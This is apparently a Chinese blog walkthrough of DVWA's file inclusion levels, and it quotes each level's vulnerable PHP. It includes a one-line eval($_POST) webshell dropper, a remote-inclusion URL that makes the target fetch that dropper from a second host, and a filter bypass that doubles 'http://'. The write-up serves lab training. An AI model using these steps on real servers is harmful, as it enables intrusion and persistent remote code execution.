DVWA闯关File Inclusion

前提准备:
为了保证实验效果,要确定开启了文件包含在这里插入图片描述

低级难度

先来看一下源代码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?> 

可以看到没有做任何过滤,我们可以任意文件包含。
首先尝试包含一个不存在的文件,出现了报错,并且显示出了网站的路径
在这里插入图片描述
现在直接远程包含,拿下它。靶机NAT,再额外准备一台NAT电脑让二者能够互相访问。说起来容易,做起来难。
排雷现场:
在远程主机上写下如下代码,起名为1.php

<?php
fputs(fopen("shell.php","w"),"<?php eval(\$_POST[123]);?>")?>

然后让靶机去远程包含,如下

http://192.168.40.131/DVWA-master/vulnerabilities/fi/?page=http://192.168.40.128/1.php

结果是会出现报错,无论是在远程主机上直接用浏览器访问还是远程包含,都会报错,并且没有生成一个名为shell.php的文件(如果你的靶机没有报错,请检查是否生成了shell.php)

解决办法:
把远程主机的1.php文件改名为1.txt即可(挺神奇的哈)
1:先访问远程主机
在这里插入图片描述
2:靶机远程文件包含
在这里插入图片描述
3:访问shell.php
在这里插入图片描述
4:去靶机上确认
路径:C:\phpstudy\WWW\DVWA-master\vulnerabilities\fi
在这里插入图片描述
5:蚁剑连接
注意,连接的是shell.php文件所在地址
在这里插入图片描述
在这里插入图片描述

中级难度

先来看一下源代码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?> 

可以看到,把"http://", “https://”,"…/", "…"替换为了空字符,复写http即可使用远程文件包含。(为了保证实验效果,还是先删除前面生成的shell.php比较好)
1:选中复制http://
在这里插入图片描述
2:粘贴进去(蓝色部分为粘贴进去的内容)
在这里插入图片描述
之后的套路就跟前面一样了

高级难度

先看一下源代码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

高级难度对文件名做了限制,必须为 file* 或者 include.php才行,只能考虑本地文件包含了,但是要怎样才能包含恶意文件呢?需要利用文件上传模块上传恶意文件,然后去包含。如果你能够上传,怎样上传请参考“文件上传”。
这里演示一下本地文件包含:
在这里插入图片描述

不可能难度

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

可以看到采用了白名单过滤,即便上传同名文件也会因为同名的缘故被系统更改文件名,避免了文件包含漏洞

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值